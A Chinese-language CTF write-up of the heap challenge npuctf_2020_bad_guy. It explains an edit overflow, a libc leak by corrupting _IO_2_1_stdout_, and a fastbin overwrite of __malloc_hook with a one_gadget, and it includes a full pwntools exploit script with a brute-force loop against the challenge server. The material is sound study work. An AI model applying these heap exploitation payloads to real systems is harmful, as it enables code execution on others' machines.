​ 在一次比赛中遇到了堆题,没有show函数,懵逼了…当时有略过一丝思路通过io stdout输出,但奈何这方面知识了解还不多(不过确实可以通过搜索引擎 搜索关键字来找到这种手法)

​ (后来发现这是n年前的手法了😭,

例题

npuctf_2020_bad_guy

题目分析

经典菜单堆,但是没有show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int num; // eax

prog_init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
puts("=== Bad Guy ===");
puts("1. Malloc");
puts("2. Edit");
puts("3. Free");
printf(">> ");
num = read_num();
if ( num != 2 )
break;
edit();
}
if ( num > 2 )
{
if ( num == 3 )
{
delete();
}
else
{
if ( num == 4 )
exit(0);
LABEL_13:
puts("2333, Bad Guy!");
}
}
else
{
if ( num != 1 )
goto LABEL_13;
add();
}
}
}

结构体

1
2
3
4
struct {
int size;
char *content;
} heaparray;

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ssize_t add()
{
unsigned __int64 num; // [rsp+0h] [rbp-10h]
__int64 size; // [rsp+8h] [rbp-8h]

printf("Index :");
num = read_num();
printf("size: ");
size = read_num();
*((_QWORD *)&heaparray + 2 * num + 1) = malloc(size);
if ( !*((_QWORD *)&heaparray + 2 * num + 1) || num > 0xA )
{
puts("Bad Guy!");
exit(1);
}
*((_QWORD *)&heaparray + 2 * num) = size;
printf("Content:");
return read(0, *((void **)&heaparray + 2 * num + 1), size);
}

heaparray是存放分配堆块的指针的

1
2
3
4
pwndbg> tele 0x555555602040
00:00000x555555602040 (heaparray) ◂— 0x14
01:00080x555555602048 (heaparray+8) —▸ 0x555555400ced (add+92) ◂— mov rdx, qword ptr [rbp - 0x10]
02:00100x555555602050 (heaparray+16) ◂— 0x0

delete

free过后 也置0了

如果不置0,那free是干了什么..我记得是..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int delete()
{
_QWORD *v0; // rax
unsigned __int64 num; // [rsp+8h] [rbp-8h]

printf("Index :");
num = read_num();
if ( *((_QWORD *)&heaparray + 2 * num + 1) || num > 0xA )
{
free(*((void **)&heaparray + 2 * num + 1));
v0 = (_QWORD *)((char *)&heaparray + 16 * num + 8);
*v0 = 0LL;
}
else
{
LODWORD(v0) = puts("Bad Guy!");
}
return (int)v0;
}

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int edit()
{
unsigned __int64 num; // [rsp+0h] [rbp-10h]
__int64 nbytes; // [rsp+8h] [rbp-8h]

if ( count <= 0 )
{
puts("Bad Guy!");
exit(1);
}
--count;
printf("Index :");
num = read_num();
printf("size: ");
nbytes = read_num();
if ( !*((_QWORD *)&heaparray + 2 * num + 1) || num > 9 )
return puts("Bad Guy!");
printf("content: ");
return read(0, *((void **)&heaparray + 2 * num + 1), nbytes);
}

这里是漏洞点,可以读入任意的大小

alarm 把值给改了

1
2
3
4
5
6
7
8
9
pwndbg> ni

Program received signal SIGALRM, Alarm clock.
0x0000555555400ced in add ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
*RAX 0x555555602040 (heaparray) ◂— 0x0
RBX 0x0
*RCX 0x555555400ced (add+92) ◂— mov rdx, qword ptr [rbp - 0x10]
1
2
3
4
5
6
unsigned int prog_init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return alarm(0x3Cu);
}

思路

开了pie,应该先想办法泄漏地址,然后用onegadget覆盖malloc_hook等即可

泄露地址

​ 利用io stdout进行泄漏、(前期方便调试可以本地先关闭alsr)

​ 具体来说,要构造堆块重叠(类似double free感觉?如果不够造但是可以直接修改地址吗不是), 修改_IO_2_1_stdout _的flags值(原理在最后) ,然后就可以泄露地址了

​ 构造四个堆块,free掉0x60的2号,然后利用edit的漏洞把1大小改为0x90,然后释放,然后通过malloc一个0x10大小堆块,使得剩余的堆块与释放的2号堆块重叠

重叠的目的是把unsortedbin的fd的地址放到fastbin地址那里,让fastbin能利用这个地址进行申请

1
2
3
4
5
6
7
8
9
10
11
12
malloc(0,0x10)
malloc(1,0x10)
malloc(2,0x60)
malloc(3,0x10)
free(2)
payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91)
edit(0,len(payload),payload)
free(1)
#pause()
malloc(4,0x10)
#pause()

​ 没有malloc 0x10前,可以看到fastbin的位置,以及它的fd是没有值的

Snipaste_2023-10-25_15-52-48

​ malloc后

Snipaste_2023-10-25_16-13-46

​ 将后四字节修改为0x255,然后malloc两次就可以分到_IO_2_1_stdout _上面的位置,之所以要分配0x25dd那里,是因为要满足堆的大小检查要求

1
2
3
4
5
6
7
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91)
edit(0,len(payload),payload)
#pause()
malloc(5,0x60)
#pause()
payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0)
malloc(6,0x60,payload)

Snipaste_2023-10-25_16-17-59

​ 不满足要求的话会报错 Error in `./npuctf_2020_bad_guy’: malloc(): memory corruption (fast): 0x00007ffff7dd25f5 ,这一块等分析源码的时候再细看

​ malloc完之后,_IO_2_1_stdout的flags就被修改了, 也就是要修改对应flag的值 和 _IO_write_base, _IO_write_ptr, _IO_write_end等 就会自动输出缓存区的信息??????

Snipaste_2023-10-25_16-20-04

​ 然后就会泄露libc地址了,泄漏的地址是多少呢,是0x7ffff7dd2600,为啥呢?,减去偏移就得到了基址

payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0)

(0x33 = 51 = 6*8 + 3) + 2 * 8 +1 = 8 * 8 + 4

从 0xed那里开始输入数据, 0x33 * p8(0) = 51, 而0x2620-0x25ed正好是51

故伎重演,替换malloc_hook为onegadget

​ 此时堆的布局的话,还有一个0x60大小的unsortedbin, 分了再free放进fastbin, 此时有地址了,就不需要那么麻烦再利用unsortedbin的地址了,直接edit修改就可以了,然后两次malloc把__malloc_hook那里改为onegadget

1
2
3
4
5
6
7
8
malloc(7,0x60)
#pause()
free(7)
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 0x23) #* 3 + p64(0x91)
edit(0,len(payload),payload)
malloc(8,0x60)
payload = 0x13 * p8(0) + p64(libc.offset_to_vaddr(one[3]))
malloc(9,0x60,payload)

如何开启了alsr 如何爆破呢

​ 学到了, 这样获取错误, 以前自己写循环tryexcept这里一直有问题,回头可以试试用这里的是否可以

1
2
3
4
5
6
7
8
9
10
11
12
while 1:
try:
pwn()
break
except KeyboardInterrupt:
p.close()
p = remote("node4.buuoj.cn","27593")
#p = process(binary)
except :
p.close()
#p = process(binary)
p = remote("node4.buuoj.cn","27593")

枚举的话, 不用增加点偏移吗, 或者说偏移也有可能是0?

一些细节

libc的版本

​ 做题的话注意一下版本,buuctf用的是2.23-0ubuntu11_amd64,这个版本我在网上没找到,找到的没符号,自己编译的还报错(用ubuntu20编译的,不知道16是不是可以)

​ 不同版本偏移不一样

​ 但是那个2.23- 多少是一样的

exp

用的这位师傅的: https://blog.csdn.net/csdn546229768/article/details/123717993

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#! /usr/bin/python
from pwn import *
#import sys

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./npuctf_2020_bad_guy"

one = [0x45226,0x4527a,0xf03a4,0xf1247] #2.23-0ubuntu11.3
#one = [0x45216,0x4526a,0xf02a4,0xf1147] # buuctf
#idx = int(sys.argv[1])

global p
local = 1
if local:
p = process(binary)
#gdb.attach(p)
e = ELF(binary)
libc = e.libc
else:
p = remote("node4.buuoj.cn","27593")
e = ELF(binary)
#libc = e.libc
libc = ELF('./libc-2.23.buu.so')

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
gdb.attach(p,s)

def logs(mallocr,string='logs'):
if(isinstance(mallocr,int)):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,mallocr))
else:
print('\033[1;31;40m%20s-->%s\033[0m'%(string,mallocr))

def pa(s='1'):
log.success('pause : step---> '+str(s))
pause()

def info(data,key='info',bit=64):
if(bit == 64):
leak = u64(data.ljust(8, b'\0'))
else:
leak = u32(data.ljust(4, b'\0'))
logs(leak,key)
return leak

################################ Function ############################################
def malloc(i,s,c = 'A'):
sla('>> ','1')
sla('Index :',str(i))
sla('size:',str(s))
sa('Content:',c)
def edit(i,s,c = 'A'):
sla('>> ','2')
sla('Index :',str(i))
sla('size:',str(s))
sa('content:',c)
def free(i):
sla('>> ','3')
sla('Index :',str(i))
################################### Statr ############################################
def pwn():
malloc(0,0x10)
malloc(1,0x10)
malloc(2,0x60)
malloc(3,0x10)
free(2)
payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91)
edit(0,len(payload),payload)
free(1)
malloc(4,0x10)
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91)
edit(0,len(payload),payload)
#pause()
malloc(5,0x60)
payload = 0x33 * p8(1) + p64(0xfbad800) + p64(0)*3 + p8(0)
#pause()
malloc(6,0x60,payload)
#pa()
#libc.address = info(ru('\x7f')[-6:]) - (0x7ffff7dd2600 - 0x7ffff7a0d000)
#libc.address = info(ru('\x7f')[-6:])
#print(hex(libc.address))
libc.address = info(ru('\x7f')[-6:]) - (0x7ffff7dd2600 - 0x7ffff7a0d000)
print(hex(libc.address))
#pause()
malloc(7,0x60)
#pause()
free(7)
#pause()
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 0x23) #* 3 + p64(0x91)
#pause()
edit(0,len(payload),payload)
malloc(8,0x60)
payload = 0x13 * p8(0) + p64(libc.offset_to_vaddr(one[3]))
malloc(9,0x60,payload)
#pause()
sla('>> ','1')
sla('Index :',str(10))
sla('size:',str(10))

p.interactive()
################################### End ##############################################
pwn()
p.close()
'''
while 1:
try:
pwn()
break
except KeyboardInterrupt:
p.close()
p = remote("node4.buuoj.cn","27593")
#p = process(binary)
except :
p.close()
#p = process(binary)
p = remote("node4.buuoj.cn","27593")
'''

参考

https://blog.csdn.net/u014377094/article/details/124577350

https://blog.csdn.net/csdn546229768/article/details/123717993

IO_stdout泄漏libc

pwndbg: parseheap

https://zhuanlan.zhihu.com/p/320151545 这个蛮详细的

https://blog.csdn.net/zzq487782568/article/details/123773034 这个整体思路可以 利用unstortedbin打stdout泄露出libc

https://www.cnblogs.com/LynneHuan/p/14851770.html

https://j-kangel.github.io/2020/03/13/利用-IO-2-1-stdout-泄漏libc/#分析

遗留问题

为什么后来分配的 malloc(4,0x10)的fd和nt是那个值呢?

枚举的话, 不用增加点偏移吗, 或者说偏移也有可能是0?

pwndbg: parseheap